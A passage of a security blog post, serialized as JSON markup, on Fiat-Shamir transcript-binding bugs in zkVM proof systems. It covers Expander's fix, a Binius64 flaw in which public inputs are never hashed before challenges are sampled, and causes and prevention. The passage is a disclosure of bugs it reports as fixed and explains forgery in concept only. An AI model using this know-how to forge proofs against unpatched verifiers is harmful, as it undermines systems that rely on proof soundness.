pass.",{"type":23,"tag":24,"props":119285,"children":119286},{},[119287,119291,119293,119300,119301,119304,119311],{"type":23,"tag":2875,"props":119288,"children":119289},{},[119290],{"type":28,"value":114289},{"type":28,"value":119292}," Fixed on 21st January 2026 via ",{"type":23,"tag":190,"props":119294,"children":119297},{"href":119295,"rel":119296},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[194],[119298],{"type":28,"value":119299},"commit 4a8c2be",{"type":28,"value":3935},{"type":23,"tag":28483,"props":119302,"children":119303},{},[],{"type":23,"tag":190,"props":119305,"children":119308},{"href":119306,"rel":119307},"https://blog.polyhedra.network/expander-bug-bounty/",[194],[119309],{"type":28,"value":119310},"Claimed 500k Bug bounty",{"type":28,"value":119312}," award pending",{"type":23,"tag":16288,"props":119314,"children":119315},{},[],{"type":23,"tag":7092,"props":119317,"children":119319},{"id":119318},"binius64",[119320],{"type":28,"value":105422},{"type":23,"tag":24,"props":119322,"children":119323},{},[119324,119326,119453],{"type":28,"value":119325},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":64,"props":119327,"children":119329},{"className":119328},[1527,1528],[119330],{"type":23,"tag":481,"props":119331,"children":119333},{"className":119332},[1533],[119334],{"type":23,"tag":481,"props":119335,"children":119337},{"className":119336,"ariaHidden":1539},[1538],[119338],{"type":23,"tag":481,"props":119339,"children":119341},{"className":119340},[1544],[119342,119347],{"type":23,"tag":481,"props":119343,"children":119346},{"className":119344,"style":119345},[1549],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":481,"props":119348,"children":119350},{"className":119349},[1555],[119351,119358],{"type":23,"tag":481,"props":119352,"children":119355},{"className":119353},[1555,119354],"mathbb",[119356],{"type":28,"value":119357},"F",{"type":23,"tag":481,"props":119359,"children":119361},{"className":119360},[1572],[119362],{"type":23,"tag":481,"props":119363,"children":119365},{"className":119364},[1577,19140],[119366,119441],{"type":23,"tag":481,"props":119367,"children":119369},{"className":119368},[1582],[119370,119436],{"type":23,"tag":481,"props":119371,"children":119373},{"className":119372,"style":109911},[1587],[119374],{"type":23,"tag":481,"props":119375,"children":119377},{"style":119376},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[119378,119382],{"type":23,"tag":481,"props":119379,"children":119381},{"className":119380,"style":1597},[1596],[],{"type":23,"tag":481,"props":119383,"children":119385},{"className":119384},[1602,1603,1604,1605],[119386],{"type":23,"tag":481,"props":119387,"children":119389},{"className":119388},[1555,1605],[119390],{"type":23,"tag":481,"props":119391,"children":119393},{"className":119392},[1555,1605],[119394,119399],{"type":23,"tag":481,"props":119395,"children":119397},{"className":119396},[1555,1605],[119398],{"type":28,"value":637},{"type":23,"tag":481,"props":119400,"children":119402},{"className":119401},[1572],[119403],{"type":23,"tag":481,"props":119404,"children":119406},{"className":119405},[1577],[119407],{"type":23,"tag":481,"props":119408,"children":119410},{"className":119409},[1582],[119411],{"type":23,"tag":481,"props":119412,"children":119415},{"className":119413,"style":119414},[1587],"height:0.7463em;",[119416],{"type":23,"tag":481,"props":119417,"children":119418},{"style":110036},[119419,119423],{"type":23,"tag":481,"props":119420,"children":119422},{"className":119421,"style":106439},[1596],[],{"type":23,"tag":481,"props":119424,"children":119426},{"className":119425},[1602,106444,106445,1605],[119427],{"type":23,"tag":481,"props":119428,"children":119430},{"className":119429},[1555,1605],[119431],{"type":23,"tag":481,"props":119432,"children":119434},{"className":119433},[1555,1605],[119435],{"type":28,"value":27361},{"type":23,"tag":481,"props":119437,"children":119439},{"className":119438},[19243],[119440],{"type":28,"value":19246},{"type":23,"tag":481,"props":119442,"children":119444},{"className":119443},[1582],[119445],{"type":23,"tag":481,"props":119446,"children":119449},{"className":119447,"style":119448},[1587],"height:0.1776em;",[119450],{"type":23,"tag":481,"props":119451,"children":119452},{},[],{"type":28,"value":119454}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":24,"props":119456,"children":119457},{},[119458,119460,119465],{"type":28,"value":119459},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":2875,"props":119461,"children":119462},{},[119463],{"type":28,"value":119464},"Shift Protocol",{"type":28,"value":119466}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":24,"props":119468,"children":119469},{},[119470],{"type":23,"tag":2875,"props":119471,"children":119472},{},[119473],{"type":28,"value":118891},{"type":23,"tag":24,"props":119475,"children":119476},{},[119477],{"type":28,"value":119478},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":435,"props":119480,"children":119482},{"code":119481,"language":474,"meta":7,"className":475,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[119483],{"type":23,"tag":64,"props":119484,"children":119485},{"__ignoreMap":7},[119486,119521,119546,119580,119588],{"type":23,"tag":481,"props":119487,"children":119488},{"class":483,"line":484},[119489,119493,119497,119501,119505,119509,119513,119517],{"type":23,"tag":481,"props":119490,"children":119491},{"style":497},[119492],{"type":28,"value":11178},{"type":23,"tag":481,"props":119494,"children":119495},{"style":497},[119496],{"type":28,"value":11183},{"type":23,"tag":481,"props":119498,"children":119499},{"style":610},[119500],{"type":28,"value":5645},{"type":23,"tag":481,"props":119502,"children":119503},{"style":525},[119504],{"type":28,"value":3282},{"type":23,"tag":481,"props":119506,"children":119507},{"style":943},[119508],{"type":28,"value":119357},{"type":23,"tag":481,"props":119510,"children":119511},{"style":525},[119512],{"type":28,"value":588},{"type":23,"tag":481,"props":119514,"children":119515},{"style":943},[119516],{"type":28,"value":113808},{"type":23,"tag":481,"props":119518,"children":119519},{"style":525},[119520],{"type":28,"value":4066},{"type":23,"tag":481,"props":119522,"children":119523},{"class":483,"line":351},[119524,119529,119533,119537,119542],{"type":23,"tag":481,"props":119525,"children":119526},{"style":508},[119527],{"type":28,"value":119528}," constraint_system",{"type":23,"tag":481,"props":119530,"children":119531},{"style":514},[119532],{"type":28,"value":287},{"type":23,"tag":481,"props":119534,"children":119535},{"style":514},[119536],{"type":28,"value":4619},{"type":23,"tag":481,"props":119538,"children":119539},{"style":943},[119540],{"type":28,"value":119541},"ConstraintSystem",{"type":23,"tag":481,"props":119543,"children":119544},{"style":525},[119545],{"type":28,"value":1033},{"type":23,"tag":481,"props":119547,"children":119548},{"class":483,"line":531},[119549,119553,119557,119561,119565,119570,119575],{"type":23,"tag":481,"props":119550,"children":119551},{"style":508},[119552],{"type":28,"value":5000},{"type":23,"tag":481,"props":119554,"children":119555},{"style":514},[119556],{"type":28,"value":287},{"type":23,"tag":481,"props":119558,"children":119559},{"style":514},[119560],{"type":28,"value":4619},{"type":23,"tag":481,"props":119562,"children":119563},{"style":525},[119564],{"type":28,"value":1269},{"type":23,"tag":481,"props":119566,"children":119567},{"style":943},[119568],{"type":28,"value":119569},"Word",{"type":23,"tag":481,"props":119571,"children":119572},{"style":525},[119573],{"type":28,"value":119574},"], ",{"type":23,"tag":481,"props":119576,"children":119577},{"style":488},[119578],{"type":28,"value":119579},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":481,"props":119581,"children":119582},{"class":483,"line":567},[119583],{"type":23,"tag":481,"props":119584,"children":119585},{"style":488},[119586],{"type":28,"value":119587}," // ...\n",{"type":23,"tag":481,"props":119589,"children":119590},{"class":483,"line":678},[119591,119595,119599,119603,119607,119612,119616,119620,119624,119628],{"type":23,"tag":481,"props":119592,"children":119593},{"style":525},[119594],{"type":28,"value":598},{"type":23,"tag":481,"props":119596,"children":119597},{"style":514},[119598],{"type":28,"value":11245},{"type":23,"tag":481,"props":119600,"children":119601},{"style":943},[119602],{"type":28,"value":11250},{"type":23,"tag":481,"props":119604,"children":119605},{"style":525},[119606],{"type":28,"value":3282},{"type":23,"tag":481,"props":119608,"children":119609},{"style":943},[119610],{"type":28,"value":119611},"VerifyOutput",{"type":23,"tag":481,"props":119613,"children":119614},{"style":525},[119615],{"type":28,"value":3282},{"type":23,"tag":481,"props":119617,"children":119618},{"style":943},[119619],{"type":28,"value":119357},{"type":23,"tag":481,"props":119621,"children":119622},{"style":525},[119623],{"type":28,"value":4108},{"type":23,"tag":481,"props":119625,"children":119626},{"style":943},[119627],{"type":28,"value":34916},{"type":23,"tag":481,"props":119629,"children":119630},{"style":525},[119631],{"type":28,"value":3469},{"type":23,"tag":24,"props":119633,"children":119634},{},[119635,119637,119643,119644,119650,119652,119656],{"type":28,"value":119636},"In the shift protocol, challenges ",{"type":23,"tag":64,"props":119638,"children":119640},{"className":119639},[],[119641],{"type":28,"value":119642},"r_j",{"type":28,"value":8478},{"type":23,"tag":64,"props":119645,"children":119647},{"className":119646},[],[119648],{"type":28,"value":119649},"inout_eval_point",{"type":28,"value":119651}," are sampled ",{"type":23,"tag":2875,"props":119653,"children":119654},{},[119655],{"type":28,"value":102123},{"type":28,"value":119657}," the public witness is bound.",{"type":23,"tag":24,"props":119659,"children":119660},{},[119661],{"type":23,"tag":2875,"props":119662,"children":119663},{},[119664],{"type":28,"value":113011},{"type":23,"tag":24,"props":119666,"children":119667},{},[119668],{"type":23,"tag":149,"props":119669,"children":119672},{"alt":119670,"src":119671},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":24,"props":119674,"children":119675},{},[119676],{"type":28,"value":119677},"During verification",{"type":23,"tag":73,"props":119679,"children":119680},{},[119681,119701,119713,119732],{"type":23,"tag":77,"props":119682,"children":119683},{},[119684,119686,119691,119693,119699],{"type":28,"value":119685},"Sumcheck produces challenge points ",{"type":23,"tag":64,"props":119687,"children":119689},{"className":119688},[],[119690],{"type":28,"value":119642},{"type":28,"value":119692}," (bit indices) and ",{"type":23,"tag":64,"props":119694,"children":119696},{"className":119695},[],[119697],{"type":28,"value":119698},"r_s",{"type":28,"value":119700}," (shift indices)",{"type":23,"tag":77,"props":119702,"children":119703},{},[119704,119706,119711],{"type":28,"value":119705},"Verifier samples ",{"type":23,"tag":64,"props":119707,"children":119709},{"className":119708},[],[119710],{"type":28,"value":119649},{"type":28,"value":119712}," from transcript",{"type":23,"tag":77,"props":119714,"children":119715},{},[119716,119718,119724,119726,119731],{"type":28,"value":119717},"Verifier computes ",{"type":23,"tag":64,"props":119719,"children":119721},{"className":119720},[],[119722],{"type":28,"value":119723},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":28,"value":119725}," using the unbound ",{"type":23,"tag":64,"props":119727,"children":119729},{"className":119728},[],[119730],{"type":28,"value":59203},{"type":28,"value":15627},{"type":23,"tag":77,"props":119733,"children":119734},{},[119735,119736,119742],{"type":28,"value":14104},{"type":23,"tag":64,"props":119737,"children":119739},{"className":119738},[],[119740],{"type":28,"value":119741},"public_eval",{"type":28,"value":119743}," feeds into subsequent verification equations",{"type":23,"tag":24,"props":119745,"children":119746},{},[119747],{"type":28,"value":119748},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":24,"props":119750,"children":119751},{},[119752],{"type":23,"tag":64,"props":119753,"children":119755},{"className":119754},[1527,1528],[119756],{"type":23,"tag":481,"props":119757,"children":119759},{"className":119758},[1533],[119760],{"type":23,"tag":481,"props":119761,"children":119763},{"className":119762,"ariaHidden":1539},[1538],[119764,119808,119948,120060],{"type":23,"tag":481,"props":119765,"children":119767},{"className":119766},[1544],[119768,119772,119781,119786,119795,119799,119804],{"type":23,"tag":481,"props":119769,"children":119771},{"className":119770,"style":91992},[1549],[],{"type":23,"tag":481,"props":119773,"children":119775},{"className":119774},[1555,28],[119776],{"type":23,"tag":481,"props":119777,"children":119779},{"className":119778},[1555],[119780],{"type":28,"value":59203},{"type":23,"tag":481,"props":119782,"children":119784},{"className":119783,"style":90579},[1555],[119785],{"type":28,"value":593},{"type":23,"tag":481,"props":119787,"children":119789},{"className":119788},[1555,28],[119790],{"type":23,"tag":481,"props":119791,"children":119793},{"className":119792},[1555],[119794],{"type":28,"value":35066},{"type":23,"tag":481,"props":119796,"children":119798},{"className":119797,"style":1734},[1636],[],{"type":23,"tag":481,"props":119800,"children":119802},{"className":119801},[1739],[119803],{"type":28,"value":603},{"type":23,"tag":481,"props":119805,"children":119807},{"className":119806,"style":1734},[1636],[],{"type":23,"tag":481,"props":119809,"children":119811},{"className":119810},[1544],[119812,119816,119888,119892,119905,119910,119915,119920,119925,119930,119935,119939,119944],{"type":23,"tag":481,"props":119813,"children":119815},{"className":119814,"style":116341},[1549],[],{"type":23,"tag":481,"props":119817,"children":119819},{"className":119818},[19122],[119820,119825],{"type":23,"tag":481,"props":119821,"children":119823},{"className":119822,"style":19129},[19122,19127,19128],[119824],{"type":28,"value":106374},{"type":23,"tag":481,"props":119826,"children":119828},{"className":119827},[1572],[119829],{"type":23,"tag":481,"props":119830,"children":119832},{"className":119831},[1577,19140],[119833,119877],{"type":23,"tag":481,"props":119834,"children":119836},{"className":119835},[1582],[119837,119872],{"type":23,"tag":481,"props":119838,"children":119840},{"className":119839,"style":111251},[1587],[119841],{"type":23,"tag":481,"props":119842,"children":119843},{"style":19153},[119844,119848],{"type":23,"tag":481,"props":119845,"children":119847},{"className":119846,"style":1597},[1596],[],{"type":23,"tag":481,"props":119849,"children":119851},{"className":119850},[1602,1603,1604,1605],[119852],{"type":23,"tag":481,"props":119853,"children":119855},{"className":119854},[1555,1605],[119856,119862,119867],{"type":23,"tag":481,"props":119857,"children":119860},{"className":119858,"style":119859},[1555,19086,1605],"margin-right:0.02691em;",[119861],{"type":28,"value":47097},{"type":23,"tag":481,"props":119863,"children":119865},{"className":119864},[1668,1605],[119866],{"type":28,"value":1671},{"type":23,"tag":481,"props":119868,"children":119870},{"className":119869},[1555,19086,1605],[119871],{"type":28,"value":739},{"type":23,"tag":481,"props":119873,"children":119875},{"className":119874},[19243],[119876],{"type":28,"value":19246},{"type":23,"tag":481,"props":119878,"children":119880},{"className":119879},[1582],[119881],{"type":23,"tag":481,"props":119882,"children":119884},{"className":119883,"style":111817},[1587],[119885],{"type":23,"tag":481,"props":119886,"children":119887},{},[],{"type":23,"tag":481,"props":119889,"children":119891},{"className":119890,"style":1675},[1636],[],{"type":23,"tag":481,"props":119893,"children":119895},{"className":119894},[1555],[119896],{"type":23,"tag":481,"props":119897,"children":119899},{"className":119898},[1555,28],[119900],{"type":23,"tag":481,"props":119901,"children":119903},{"className":119902},[1555],[119904],{"type":28,"value":59203},{"type":23,"tag":481,"props":119906,"children":119908},{"className":119907},[19215],[119909],{"type":28,"value":1269},{"type":23,"tag":481,"props":119911,"children":119913},{"className":119912,"style":119859},[1555,19086],[119914],{"type":28,"value":47097},{"type":23,"tag":481,"props":119916,"children":119918},{"className":119917},[19237],[119919],{"type":28,"value":12900},{"type":23,"tag":481,"props":119921,"children":119923},{"className":119922},[19215],[119924],{"type":28,"value":1269},{"type":23,"tag":481,"props":119926,"children":119928},{"className":119927},[1555,19086],[119929],{"type":28,"value":739},{"type":23,"tag":481,"props":119931,"children":119933},{"className":119932},[19237],[119934],{"type":28,"value":12900},{"type":23,"tag":481,"props":119936,"children":119938},{"className":119937,"style":1637},[1636],[],{"type":23,"tag":481,"props":119940,"children":119942},{"className":119941},[1642],[119943],{"type":28,"value":108841},{"type":23,"tag":481,"props":119945,"children":119947},{"className":119946,"style":1637},[1636],[],{"type":23,"tag":481,"props":119949,"children":119951},{"className":119950},[1544],[119952,119957,119966,119971,119976,119981,119985,120042,120047,120051,120056],{"type":23,"tag":481,"props":119953,"children":119956},{"className":119954,"style":119955},[1549],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":481,"props":119958,"children":119960},{"className":119959},[1555,28],[119961],{"type":23,"tag":481,"props":119962,"children":119964},{"className":119963},[1555],[119965],{"type":28,"value":110168},{"type":23,"tag":481,"props":119967,"children":119969},{"className":119968},[19215],[119970],{"type":28,"value":618},{"type":23,"tag":481,"props":119972,"children":119974},{"className":119973},[1555,19086],[119975],{"type":28,"value":739},{"type":23,"tag":481,"props":119977,"children":119979},{"className":119978},[1668],[119980],{"type":28,"value":1671},{"type":23,"tag":481,"props":119982,"children":119984},{"className":119983,"style":1675},[1636],[],{"type":23,"tag":481,"props":119986,"children":119988},{"className":119987},[1555],[119989,119994],{"type":23,"tag":481,"props":119990,"children":119992},{"className":119991,"style":90579},[1555,19086],[119993],{"type":28,"value":91398},{"type":23,"tag":481,"props":119995,"children":119997},{"className":119996},[1572],[119998],{"type":23,"tag":481,"props":119999,"children":120001},{"className":120000},[1577,19140],[120002,120031],{"type":23,"tag":481,"props":120003,"children":120005},{"className":120004},[1582],[120006,120026],{"type":23,"tag":481,"props":120007,"children":120009},{"className":120008,"style":91108},[1587],[120010],{"type":23,"tag":481,"props":120011,"children":120012},{"style":107578},[120013,120017],{"type":23,"tag":481,"props":120014,"children":120016},{"className":120015,"style":1597},[1596],[],{"type":23,"tag":481,"props":120018,"children":120020},{"className":120019},[1602,1603,1604,1605],[120021],{"type":23,"tag":481,"props":120022,"children":120024},{"className":120023,"style":111802},[1555,19086,1605],[120025],{"type":28,"value":6136},{"type":23,"tag":481,"props":120027,"children":120029},{"className":120028},[19243],[120030],{"type":28,"value":19246},{"type":23,"tag":481,"props":120032,"children":120034},{"className":120033},[1582],[120035],{"type":23,"tag":481,"props":120036,"children":120038},{"className":120037,"style":116489},[1587],[120039],{"type":23,"tag":481,"props":120040,"children":120041},{},[],{"type":23,"tag":481,"props":120043,"children":120045},{"className":120044},[19237],[120046],{"type":28,"value":642},{"type":23,"tag":481,"props":120048,"children":120050},{"className":120049,"style":1637},[1636],[],{"type":23,"tag":481,"props":120052,"children":120054},{"className":120053},[1642],[120055],{"type":28,"value":108841},{"type":23,"tag":481,"props":120057,"children":120059},{"className":120058,"style":1637},[1636],[],{"type":23,"tag":481,"props":120061,"children":120063},{"className":120062},[1544],[120064,120068,120077,120082,120087,120092,120096,120106,120111,120120,120125,120134],{"type":23,"tag":481,"props":120065,"children":120067},{"className":120066,"style":90521},[1549],[],{"type":23,"tag":481,"props":120069,"children":120071},{"className":120070},[1555,28],[120072],{"type":23,"tag":481,"props":120073,"children":120075},{"className":120074},[1555],[120076],{"type":28,"value":110168},{"type":23,"tag":481,"props":120078,"children":120080},{"className":120079},[19215],[120081],{"type":28,"value":618},{"type":23,"tag":481,"props":120083,"children":120085},{"className":120084,"style":119859},[1555,19086],[120086],{"type":28,"value":47097},{"type":23,"tag":481,"props":120088,"children":120090},{"className":120089},[1668],[120091],{"type":28,"value":1671},{"type":23,"tag":481,"props":120093,"children":120095},{"className":120094,"style":1675},[1636],[],{"type":23,"tag":481,"props":120097,"children":120099},{"className":120098},[1555,28],[120100],{"type":23,"tag":481,"props":120101,"children":120103},{"className":120102},[1555],[120104],{"type":28,"value":120105},"inout",{"type":23,"tag":481,"props":120107,"children":120109},{"className":120108,"style":90579},[1555],[120110],{"type":28,"value":593},{"type":23,"tag":481,"props":120112,"children":120114},{"className":120113},[1555,28],[120115],{"type":23,"tag":481,"props":120116,"children":120118},{"className":120117},[1555],[120119],{"type":28,"value":35066},{"type":23,"tag":481,"props":120121,"children":120123},{"className":120122,"style":90579},[1555],[120124],{"type":28,"value":593},{"type":23,"tag":481,"props":120126,"children":120128},{"className":120127},[1555,28],[120129],{"type":23,"tag":481,"props":120130,"children":120132},{"className":120131},[1555],[120133],{"type":28,"value":115364},{"type":23,"tag":481,"props":120135,"children":120137},{"className":120136},[19237],[120138],{"type":28,"value":642},{"type":23,"tag":24,"props":120140,"children":120141},{},[120142,120144,120149,120151,120224],{"type":28,"value":120143},"With challenges fixed (independent of ",{"type":23,"tag":64,"props":120145,"children":120147},{"className":120146},[],[120148],{"type":28,"value":59203},{"type":28,"value":120150},"), an attacker can find an alternate witness ",{"type":23,"tag":64,"props":120152,"children":120154},{"className":120153},[1527,1528],[120155],{"type":23,"tag":481,"props":120156,"children":120158},{"className":120157},[1533],[120159],{"type":23,"tag":481,"props":120160,"children":120162},{"className":120161,"ariaHidden":1539},[1538],[120163],{"type":23,"tag":481,"props":120164,"children":120166},{"className":120165},[1544],[120167,120172],{"type":23,"tag":481,"props":120168,"children":120171},{"className":120169,"style":120170},[1549],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":481,"props":120173,"children":120175},{"className":120174},[1555],[120176,120185],{"type":23,"tag":481,"props":120177,"children":120179},{"className":120178},[1555,28],[120180],{"type":23,"tag":481,"props":120181,"children":120183},{"className":120182},[1555],[120184],{"type":28,"value":59203},{"type":23,"tag":481,"props":120186,"children":120188},{"className":120187},[1572],[120189],{"type":23,"tag":481,"props":120190,"children":120192},{"className":120191},[1577],[120193],{"type":23,"tag":481,"props":120194,"children":120196},{"className":120195},[1582],[120197],{"type":23,"tag":481,"props":120198,"children":120201},{"className":120199,"style":120200},[1587],"height:0.8362em;",[120202],{"type":23,"tag":481,"props":120203,"children":120205},{"style":120204},"top:-3.1473em;margin-right:0.05em;",[120206,120210],{"type":23,"tag":481,"props":120207,"children":120209},{"className":120208,"style":1597},[1596],[],{"type":23,"tag":481,"props":120211,"children":120213},{"className":120212},[1602,1603,1604,1605],[120214],{"type":23,"tag":481,"props":120215,"children":120217},{"className":120216},[1555,1605],[120218],{"type":23,"tag":481,"props":120219,"children":120221},{"className":120220},[1555,1605],[120222],{"type":28,"value":120223},"′",{"type":28,"value":120225}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":24,"props":120227,"children":120228},{},[120229,120233,120235],{"type":23,"tag":2875,"props":120230,"children":120231},{},[120232],{"type":28,"value":114289},{"type":28,"value":120234}," Fixed on December 29, 2025 via ",{"type":23,"tag":190,"props":120236,"children":120239},{"href":120237,"rel":120238},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[194],[120240],{"type":28,"value":120241},"commit 86a515f",{"type":23,"tag":16288,"props":120243,"children":120244},{},[],{"type":23,"tag":31,"props":120246,"children":120248},{"id":120247},"why-does-this-keep-happening",[120249],{"type":28,"value":120250},"Why Does This Keep Happening?",{"type":23,"tag":24,"props":120252,"children":120253},{},[120254],{"type":28,"value":120255},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":7092,"props":120257,"children":120259},{"id":120258},"academic-papers-dont-specify-fiat-shamir",[120260],{"type":28,"value":120261},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":24,"props":120263,"children":120264},{},[120265,120267,120272,120274,120299,120301,120304,120306,120331,120333,120360],{"type":28,"value":120266},"Academic papers usually describe ",{"type":23,"tag":127,"props":120268,"children":120269},{},[120270],{"type":28,"value":120271},"interactive",{"type":28,"value":120273}," protocols: \"Prover sends ",{"type":23,"tag":64,"props":120275,"children":120277},{"className":120276},[1527,1528],[120278],{"type":23,"tag":481,"props":120279,"children":120281},{"className":120280},[1533],[120282],{"type":23,"tag":481,"props":120283,"children":120285},{"className":120284,"ariaHidden":1539},[1538],[120286],{"type":23,"tag":481,"props":120287,"children":120289},{"className":120288},[1544],[120290,120294],{"type":23,"tag":481,"props":120291,"children":120293},{"className":120292,"style":19081},[1549],[],{"type":23,"tag":481,"props":120295,"children":120297},{"className":120296,"style":19618},[1555,19086],[120298],{"type":28,"value":113808},{"type":28,"value":120300},". Verifier sends",{"type":23,"tag":28483,"props":120302,"children":120303},{},[],{"type":28,"value":120305},"random ",{"type":23,"tag":64,"props":120307,"children":120309},{"className":120308},[1527,1528],[120310],{"type":23,"tag":481,"props":120311,"children":120313},{"className":120312},[1533],[120314],{"type":23,"tag":481,"props":120315,"children":120317},{"className":120316,"ariaHidden":1539},[1538],[120318],{"type":23,"tag":481,"props":120319,"children":120321},{"className":120320},[1544],[120322,120326],{"type":23,"tag":481,"props":120323,"children":120325},{"className":120324,"style":108420},[1549],[],{"type":23,"tag":481,"props":120327,"children":120329},{"className":120328,"style":90579},[1555,19086],[120330],{"type":28,"value":91398},{"type":28,"value":120332},". Prover sends ",{"type":23,"tag":64,"props":120334,"children":120336},{"className":120335},[1527,1528],[120337],{"type":23,"tag":481,"props":120338,"children":120340},{"className":120339},[1533],[120341],{"type":23,"tag":481,"props":120342,"children":120344},{"className":120343,"ariaHidden":1539},[1538],[120345],{"type":23,"tag":481,"props":120346,"children":120348},{"className":120347},[1544],[120349,120353],{"type":23,"tag":481,"props":120350,"children":120352},{"className":120351,"style":19081},[1549],[],{"type":23,"tag":481,"props":120354,"children":120357},{"className":120355,"style":120356},[1555,19086],"margin-right:0.00773em;",[120358],{"type":28,"value":120359},"R",{"type":28,"value":120361},".\"",{"type":23,"tag":24,"props":120363,"children":120364},{},[120365,120367,120392,120394,120419],{"type":28,"value":120366},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":64,"props":120368,"children":120370},{"className":120369},[1527,1528],[120371],{"type":23,"tag":481,"props":120372,"children":120374},{"className":120373},[1533],[120375],{"type":23,"tag":481,"props":120376,"children":120378},{"className":120377,"ariaHidden":1539},[1538],[120379],{"type":23,"tag":481,"props":120380,"children":120382},{"className":120381},[1544],[120383,120387],{"type":23,"tag":481,"props":120384,"children":120386},{"className":120385,"style":19081},[1549],[],{"type":23,"tag":481,"props":120388,"children":120390},{"className":120389,"style":19618},[1555,19086],[120391],{"type":28,"value":113808},{"type":28,"value":120393}," before sampling ",{"type":23,"tag":64,"props":120395,"children":120397},{"className":120396},[1527,1528],[120398],{"type":23,"tag":481,"props":120399,"children":120401},{"className":120400},[1533],[120402],{"type":23,"tag":481,"props":120403,"children":120405},{"className":120404,"ariaHidden":1539},[1538],[120406],{"type":23,"tag":481,"props":120407,"children":120409},{"className":120408},[1544],[120410,120414],{"type":23,"tag":481,"props":120411,"children":120413},{"className":120412,"style":108420},[1549],[],{"type":23,"tag":481,"props":120415,"children":120417},{"className":120416,"style":90579},[1555,19086],[120418],{"type":28,"value":91398},{"type":28,"value":120420},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":24,"props":120422,"children":120423},{},[120424],{"type":28,"value":120425},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":7092,"props":120427,"children":120429},{"id":120428},"the-hot-potato-problem",[120430],{"type":28,"value":120431},"The Hot Potato Problem",{"type":23,"tag":24,"props":120433,"children":120434},{},[120435],{"type":28,"value":120436},"Modern zkVMs are modular:",{"type":23,"tag":24,"props":120438,"children":120439},{},[120440],{"type":23,"tag":149,"props":120441,"children":120444},{"alt":120442,"src":120443},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":24,"props":120446,"children":120447},{},[120448],{"type":28,"value":120449},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":7092,"props":120451,"children":120453},{"id":120452},"optimization-pressure",[120454],{"type":28,"value":120455},"Optimization Pressure",{"type":23,"tag":24,"props":120457,"children":120458},{},[120459],{"type":28,"value":120460},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":24,"props":120462,"children":120463},{},[120464],{"type":28,"value":120465},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":7092,"props":120467,"children":120469},{"id":120468},"testing-doesnt-catch-adversarial-inputs",[120470],{"type":28,"value":120471},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":24,"props":120473,"children":120474},{},[120475],{"type":28,"value":120476},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":16288,"props":120478,"children":120479},{},[],{"type":23,"tag":31,"props":120481,"children":120483},{"id":120482},"how-to-find-and-fix-these-bugs",[120484],{"type":28,"value":120485},"How to Find and Fix These Bugs",{"type":23,"tag":7092,"props":120487,"children":120489},{"id":120488},"prevention",[120490],{"type":28,"value":120491},"Prevention",{"type":23,"tag":24,"props":120493,"children":120494},{},[120495],{"type":28,"value":120496},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":24,"props":120498,"children":120499},{},[120500],{"type":28,"value":120501},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":24,"props":120503,"children":120504},{},[120505],{"type":28,"value":120506},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":24,"props":120508,"children":120509},{},[120510],{"type":28,"value":120511},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":24,"props":120513,"children":120514},{},[120515],{"type":28,"value":120516},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":16288,"props":120518,"children":120519},{},[],{"type":23,"tag":31,"props":120521,"children":120523},{"id":120522},"responsible-disclosure-timeline",[120524],{"type":28,"value":120525},"Responsible Disclosure 